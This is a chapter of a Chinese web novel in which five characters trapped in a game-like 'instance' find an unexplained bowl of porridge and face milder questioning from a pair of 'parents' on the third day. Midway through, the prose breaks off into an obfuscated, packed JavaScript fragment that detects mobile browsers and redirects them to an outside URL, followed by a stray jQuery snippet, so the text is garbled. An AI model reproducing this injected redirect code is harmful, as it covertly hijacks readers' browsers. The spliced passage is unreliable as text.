第三天的晨光来得很安静。
谢意睁开眼的时候，窗外的灰色已经褪成了浅白色，像一张被反复擦干净的黑板，终于露出了原本的颜色。客厅里的光线比前两天更暖一些，带着一种刻意的"清晨"感——空调的风温温的，角落里那盏夜灯已经完全熄灭了，吊灯亮着柔和的暖光。
他低头看了看茶几。昨晚放上去的两张纸条、一片干枯的桂花花瓣、和那把银色钥匙依然在原位。但纸条旁边的桌面上多了一样东西——一碗白粥。粥还冒着微微的热气，碗沿搁着一双筷子和一只小碟，碟子里是切好的咸菜。
谢意看着那碗粥，然后抬头看向厨房的方向。厨房门关着，里面没有任何声响。他站起来走过去推开门，厨房里空无一人，灶台上干干净净。没有任何人做粥的痕迹。
他退回客厅，在茶几边沿坐下来，端起了那碗粥。白瓷碗，碗沿有一圈淡蓝色的花纹，和他之前摔碎的那些碗一模一样。粥不烫，正好入口，米粒已经煮化了，表面浮着一层薄薄的米油。他喝了一口，咸菜配着粥，和他小时候吃过无数次的早饭味道一样。
其他四个人陆续醒了。江野从沙发扶手上坐起来，揉着眼睛看见谢意端着粥碗："——哪来的粥？"
"不知道。起来的时候就在桌上了。"
许清寒走到厨房看了一眼，回来时摇了摇头："没人。锅是凉的。"
"那粥是谁煮的？"
没有人回答这个问题。但谢意把剩下的粥喝完，把碗洗了放回碗柜里。他做这些动作的时候很自然，像做一件每天都做的事。其他四个人看着他，没有追问。
早饭吃完之后，五个人坐在客厅里，等着那对"父母"的到来。
九点整，门铃响了。
江野站起来去开门。他拉开门的时候已经换上了一副"好孩子"的表情——嘴角微抿，背挺直了，连声音都比平时低了半度："爸，妈，早上好。"
中年夫妇站在门口。男人穿着深蓝色衬衫，女人穿着浅灰色的针织衫，和他们第一天、第二天的穿着略有不同，但那种被精心打理过的"体面"感一模一样。男人"嗯"了一声迈步走进来，女人跟在后面，目光在客厅里扫了一圈——翻倒的沙发和掀开的地毯已经被他们在早上收拾好了，灰兔子盖着的那具小身体也已经消失了，像昨晚的一切都只是五个人共同做的一场梦。
"今天有什么安排？"男人在主位坐下来，看着客厅里的五个人。
许清寒率先开口，声音温和而平稳："上午安排了自习。弟弟妹妹们各自有复习计划。"
女人看了看徐晓："你呢？你那个竞赛准备得怎么样了？"
徐晓推了推眼镜，语速均匀："模拟卷做完了三套。错题整理了，正在集中练习薄弱模块。"
"嗯。别松懈。"
江野站在沙发旁边，等着他的那一轮质询。女人果然转向了他："你昨天有没有好好学习？"
江野的腰板又挺直了半寸，嘴唇抿了一下，然后开口："……有。数学做了十道大题。英语背了三十个单词。"他顿了顿，像是在心里补充了一份没有说出来的"今天我也打算努力"——但他没有说出口。他只是站在那里，双手贴着裤缝，像在等一个评分。
女人看了他几秒，眉心的皱纹没有加深。她点了点头："还行。继续保持。"
江野的呼吸微微松了一线。他走回沙发坐下来的时候，膝盖弯了一下又伸直，整个人像一根被拔起来两秒又种回去的植物。
男人的目光落到了谢意身上。和前两天的质询不同，他这次开口的语气更缓了一些，但仍然带着那种"父辈对子女的天然关切"："你呢？最近有没有什么新的打算？"
谢意坐在单人沙发里，紫眼睛看着男人。他的姿态放松，和江野那种绷直的站姿完全不同。他回答的时候声音不高不低："昨天接了一个新项目。甲方要求下个月初交初稿。正在做需求分析。"
男人听完之后沉默了两秒。"……你还在做那个远程开发？"
"对。"
"有规划吗？"
"有。"谢意说，"明年下半年之前把技术栈扩一遍。后面看机会。"
男人点了点头。没有追问，没有敲桌面，没有皱眉。他的表情比前两天松了一点，像终于接受了"这个孩子确实已经不在传统教育赛道上了"的事实。他转头看了一眼餐桌那边的许清寒："你那份工作的事——"
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814555|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>许清寒微微点头："续约手续在办了。合同期到明年年中。"
"嗯。稳定就好。"
质询环节比前两天短了一半。那对夫妇问完之后各自喝了半杯水，然后站起来，像完成任务一样轻轻拍了拍衣角。他们走向门口的时候，男人回头看了一眼谢意，说了一句话："如果遇到什么事，可以回来。这里总是有位置的。"
他说完这句话，没有等回应，开门走了出去。女人跟在他身后，门轻轻合上了，"咔嗒"一声轻响。
客厅里安静了一会儿。
江野坐在沙发上，看着那扇关上的门，开口说了一句："……刚才那是怎么回事？今天他们怎么这么好说话？"
"进度不一样了。"许清寒说，"副本的第三天，'父母'的压迫阈值可能在降低。系统在调整难度。"
"还是他们——"江野顿了一下，"还是他们其实不是'父母'？"
谢意坐在单人沙发里，紫眼睛看着窗外的白色虚空。他能感觉到口袋里的那把钥匙隔着布料贴着大腿侧面。那截干枯的桂花花瓣在他指腹下微微卷曲着。"他们是什么不重要。"他说，"重要的是，他们今天说了那句话。"
"哪句？"
"'这里总是有位置的'。"
许清寒端着水杯的手微微顿了一下。徐晓从词典上抬起眼睛，推了推眼镜。林安诚抱着灰兔子从沙发角落抬起头来，重瞳在晨光里微微转了一圈。
五个人坐在晨光照进来的客厅里，各自安静了一会儿。
然后谢意站起来，走到窗边。他把窗户推开一道缝，外面的白光照进来，被窗框切成长方形的明亮区域。他看着那片光，紫眼睛被照得很亮。
"明天是第四天。"他说，"我们要在那之前找到出口。"
林安诚从沙发上滑下来走到窗边，站在他腿边仰头看着他，重瞳在正午的光线下像两粒深色的琉璃珠："你在找什么？"
谢意低头看了她一眼。他没有回答。但他的手从口袋里掏出了那片干枯的桂花花瓣，捏在指尖。阳光穿过花瓣，把它变薄的部分照成半透明的浅褐色，边缘像烧过的纸一样微微卷曲着。
"找一个能回去的地方。"他说。